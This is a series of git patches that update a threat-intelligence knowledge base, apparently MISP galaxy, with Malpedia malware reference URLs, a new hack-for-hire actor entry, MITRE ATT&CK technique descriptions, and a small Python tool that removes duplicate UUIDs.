"https://threatvector.cylance.com/en_us/home/zeppelin-russian-ransomware-targets-high-profile-users-in-the-us-and-europe.html", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-223a", "https://www.gdatasoftware.com/blog/2020/06/35946-burans-transformation-into-zeppelin", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://storage.pardot.com/272312/124918/Flashpoint_Hunt_Team___Zeppelin_Ransomware_Analysis.pdf", - "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-223A_Zeppelin_CSA.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf" ], "synonyms": [], "type": [] @@ -44765,16 +47170,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess", - "http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html", - "http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/", - "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", - "https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/", - "http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/", - "http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/", "http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html", + "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", + "http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/", + "http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/", + "https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/", "http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/", - "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/", - "https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/" + "http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/", + "http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html", + "https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/", + "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/" ], "synonyms": [ "Max++", @@ -44791,10 +47196,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - 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"https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries", - "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/", + "https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/", "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", - "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", + "https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/", + "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", + "https://johannesbader.ch/blog/the-dga-of-zloader/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance", + "https://clickallthethings.wordpress.com/2020/09/21/zloader-xlm-update-macro-code-and-behavior-change/", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://labs.k7computing.com/?p=22458", - "https://blog.alyac.co.kr/3322", - "https://blag.nullteilerfrei.de/2020/06/11/api-hashing-in-the-zloader-malware/", + "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/", + "https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", - "https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", + "https://labs.k7computing.com/?p=22458", + "https://blogs.quickheal.com/zloader-entailing-different-office-files/", + "https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader", - "https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain" + "https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/", + "https://twitter.com/ffforward/status/1324281530026524672", + "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", + "https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/", + "https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/", + "https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/" ], "synonyms": [ "DELoader", @@ -45219,18 +47628,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell", - "https://risky.biz/whatiswinnti/", - "https://github.com/smb01/zxshell", - "https://lab52.io/blog/apt27-rootkit-updates/", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - "https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html", - "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://content.fireeye.com/apt-41/rpt-apt41", - "https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", + "https://risky.biz/whatiswinnti/", + "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw", + "https://attack.mitre.org/groups/G0001/", "https://blogs.cisco.com/security/talos/opening-zxshell", + "https://lab52.io/blog/apt27-rootkit-updates/", + "https://attack.mitre.org/groups/G0096", + "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", + "https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html", + "https://content.fireeye.com/apt-41/rpt-apt41", + "https://github.com/smb01/zxshell", "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf" ], "synonyms": [ @@ -45246,9 +47658,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz", + "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html" ], - "synonyms": [], + "synonyms": [ + "MuuyDownloader" + ], "type": [] }, "uuid": "3782b76b-3fe8-41d9-b258-dac25f9699a2", @@ -45269,5 +47684,5 @@ "value": "Zyklon" } ], - "version": 14974 + "version": 15970 } From eacab6ca27e1d1996bb28b7c617943052a41e3fd Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Mon, 26 Sep 2022 10:58:09 +0200 Subject: [PATCH 128/167] new: [malpedia] remove duplicate UUIDs objects (coming from Malpedia API) --- clusters/malpedia.json | 31 +++---------------------------- tools/del_duplicate_uuids.py | 26 ++++++++++++++++++++++++++ tools/fetch_malpedia.sh | 1 + 3 files changed, 30 insertions(+), 28 deletions(-) create mode 100755 tools/del_duplicate_uuids.py diff --git a/clusters/malpedia.json b/clusters/malpedia.json index 2c7025f..6c50ff2 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -28522,6 +28522,7 @@ "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/", "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/", "https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets", "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb", @@ -28595,8 +28596,8 @@ "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-2-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254421", "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://intel471.com/blog/privateloader-malware", "https://asec.ahnlab.com/en/35822/", + "https://intel471.com/blog/privateloader-malware", "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", "https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/", "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/", @@ -41811,19 +41812,6 @@ "uuid": "129163aa-8539-40ee-a627-0ac6775697b5", "value": "SUGARRUSH" }, - { - "description": "According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarush", - "https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping" - ], - "synonyms": [], - "type": [] - }, - "uuid": "129163aa-8539-40ee-a627-0ac6775697b5", - "value": "SUGARUSH" - }, { "description": "FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.", "meta": { @@ -44520,19 +44508,6 @@ "uuid": "f2979fee-603d-496e-a526-d622e9cba84f", "value": "Unidentified 072 (Metamorfo Loader)" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_073", - "https://blog.certfa.com/posts/fake-interview-the-new-activity-of-charming-kitten/" - ], - "synonyms": [], - "type": [] - }, - "uuid": "f049e626-7de2-4648-81db-53dfd34f2fab", - "value": "Unidentified 073 (Charming Kitten)" - }, { "description": "", "meta": { @@ -47684,5 +47659,5 @@ "value": "Zyklon" } ], - "version": 15970 + "version": 15975 } diff --git a/tools/del_duplicate_uuids.py b/tools/del_duplicate_uuids.py new file mode 100755 index 0000000..d261815 --- /dev/null +++ b/tools/del_duplicate_uuids.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +# coding=utf-8 +""" + Tool to remove duplicates in cluster references +""" +import sys +import json + +with open(sys.argv[1], 'r') as f: + data = json.load(f) + +unique_uuid = set() +values = [] +for c in data['values']: + if c['uuid'] in unique_uuid: + sys.stderr.write(f"Duplicate UUID - {c['uuid']}\n") + continue + unique_uuid.add(c['uuid']) + values.append(c) + +data['values'] = [] +data['values'] = values + +with open(sys.argv[1], 'w') as f: + json.dump(data, f) + diff --git a/tools/fetch_malpedia.sh b/tools/fetch_malpedia.sh index 2b49b17..d8a9e4d 100755 --- a/tools/fetch_malpedia.sh +++ b/tools/fetch_malpedia.sh @@ -3,4 +3,5 @@ cd "${0%/*}" wget -O malpedia.json https://malpedia.caad.fkie.fraunhofer.de/api/get/misp mv malpedia.json ../clusters/malpedia.json ./del_duplicate_refs.py ../clusters/malpedia.json +./del_duplicate_uuids.py ../clusters/malpedia.json (cd ..; ./jq_all_the_things.sh) From bfd1812cef5a852f5d5257aebb3ffba89cd0bd80 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Tue, 27 Sep 2022 00:11:20 +0000 Subject: [PATCH 129/167] Add Void Balaur. --- clusters/threat-actor.json | 30 +++++++++++++++++++++++++++++- 1 file changed, 29 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 7cd030f..161960f 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9797,7 +9797,35 @@ ], "uuid": "ecf4d7cb-9bf7-4d9d-8450-c99e885b9aac", "value": "BITWISE SPIDER" + }, + { + "description": "Void Balaur is a highly active hack-for-hire / cyber mercenary group with a wide range of known target types across the globe. Their services have been observed for sale to the public online since at least 2016. Services include the collection of private data and access to specific online email and social media services, such as Gmail, Outlook, Telegram, Yandex, Facebook, Instagram, and business emails.", + "meta": { + "refs": [ + "https://www.sentinelone.com/labs/the-sprawling-infrastructure-of-a-careless-mercenary/", + "https://blog.google/threat-analysis-group/countering-hack-for-hire-groups/", + "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf", + "https://www.amnesty.org/en/latest/research/2020/03/targeted-surveillance-attacks-in-uzbekistan-an-old-threat-with-new-techniques/", + "https://equalit.ie/deflect-labs-report-6/" + ], + "cfr-suspected-victims": [ + "Brazil", + "Central African Republic", + "Georgia", + "Kazakhstan", + "Moldova", + "Russia", + "Spain", + "Sudan", + "Taiwan", + "Ukraine", + "United Kingdom", + "United States" + ] + }, + "uuid": "ca310f0a-1131-4c67-b0a7-f1cd4ce0f87f", + "value": "Void Balaur" } ], - "version": 247 + "version": 248 } From 7b3670c4ee8ddc6a1a15d830047a9c79f20f075e Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Tue, 27 Sep 2022 07:28:00 +0200 Subject: [PATCH 130/167] chg: [tool] make mitre script easier to find --- tools/{mitre-cti/v2.0/create_mitre-galaxy.py => gen_mitre.py} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename tools/{mitre-cti/v2.0/create_mitre-galaxy.py => gen_mitre.py} (98%) diff --git a/tools/mitre-cti/v2.0/create_mitre-galaxy.py b/tools/gen_mitre.py similarity index 98% rename from tools/mitre-cti/v2.0/create_mitre-galaxy.py rename to tools/gen_mitre.py index 2795502..a7589f2 100755 --- a/tools/mitre-cti/v2.0/create_mitre-galaxy.py +++ b/tools/gen_mitre.py @@ -10,7 +10,7 @@ parser.add_argument("-p", "--path", required=True, help="Path of the mitre/cti f args = parser.parse_args() values = [] -misp_dir = '../../../' +misp_dir = '../' domains = ['enterprise-attack', 'mobile-attack', 'pre-attack'] @@ -192,4 +192,4 @@ for t in types: json.dump(file_data, f, indent=2, sort_keys=True, ensure_ascii=False) f.write('\n') # only needed for the beauty and to be compliant with jq_all_the_things -print("All done, please don't forget to ./validate_all.sh and ./jq_all_the_things.sh") +print("All done, please don't forget to ./jq_all_the_things.sh, commit, and then ./validate_all.sh.") From e259458d5ae29c360950779bca7deb065197d160 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Tue, 27 Sep 2022 07:30:13 +0200 Subject: [PATCH 131/167] chg: [mitre] bump to v11.3 --- clusters/mitre-attack-pattern.json | 2541 ++++++++++++++++++++---- clusters/mitre-course-of-action.json | 1020 +++++----- clusters/mitre-intrusion-set.json | 178 +- clusters/mitre-malware.json | 2717 ++++++++++---------------- clusters/mitre-tool.json | 80 +- 5 files changed, 3721 insertions(+), 2815 deletions(-) diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json index 9f4d03e..7ef8b0b 100644 --- a/clusters/mitre-attack-pattern.json +++ b/clusters/mitre-attack-pattern.json @@ -378,15 +378,7 @@ "https://attack.mitre.org/techniques/T1445" ] }, - "related": [ - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac", "value": "Abuse of iOS Enterprise App Signing Key - T1445" }, @@ -755,6 +747,37 @@ "uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "value": "Windows File and Directory Permissions Modification - T1222.001" }, + { + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)", + "meta": { + "external_id": "SPC-15", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1474/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", + "https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf" + ] + }, + "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "type": "subtechnique-of" + } + ], + "uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", + "value": "Compromise Software Dependencies and Development Tools - T1474.001" + }, { "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", "meta": { @@ -943,6 +966,15 @@ "https://www.youtube.com/watch?v=q0n5ySqbfdI" ] }, + "related": [ + { + "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", "value": "Exploit SS7 to Track Device Location - T1450" }, @@ -974,15 +1006,7 @@ "https://attack.mitre.org/techniques/T1441" ] }, - "related": [ - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881", "value": "Stolen Developer Credentials or Signing Keys - T1441" }, @@ -1060,6 +1084,15 @@ "https://attack.mitre.org/techniques/T1452" ] }, + "related": [ + { + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", "value": "Manipulate App Store Rankings or Ratings - T1452" }, @@ -1308,53 +1341,6 @@ "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413", "value": "Unauthorized user introduces compromise delivery mechanism - T1387" }, - { - "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.", - "meta": { - "external_id": "APP-27", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion", - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1398", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://www.apple.com/business/docs/iOS_Security_Guide.pdf", - "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered" - ] - }, - "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", - "value": "Modify OS Kernel or Boot Partition - T1398" - }, - { - "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).\n\nPrevious demonstrations have included:\n\n* Injecting malicious applications into iOS devices(Citation: Lau-Mactans).\n* Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).\n* Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).\n\nProducts from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).", - "meta": { - "external_id": "PHY-1", - "kill_chain": [ - "mitre-mobile-attack:initial-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", - "https://attack.mitre.org/techniques/T1458", - "https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html", - "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", - "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", - "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/", - "https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html" - ] - }, - "uuid": "667e5707-3843-4da8-bd34-88b922526f0d", - "value": "Exploit via Charging Station or PC - T1458" - }, { "description": "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.\n\nDelivery methods for the malicious application include:\n\n* [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message.\n* [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.\n* Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)\n\nSome Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)", "meta": { @@ -1466,6 +1452,31 @@ "uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "value": "Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.", + "meta": { + "external_id": "APP-30", + "kill_chain": [ + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1639/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" + ] + }, + "related": [ + { + "dest-uuid": "3e091a89-a493-4a6c-8e88-d57be19bb98d", + "type": "subtechnique-of" + } + ], + "uuid": "37047267-3e56-453c-833e-d92b68118120", + "value": "Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001" + }, { "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", "meta": { @@ -2009,6 +2020,15 @@ "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/" ] }, + "related": [ + { + "dest-uuid": 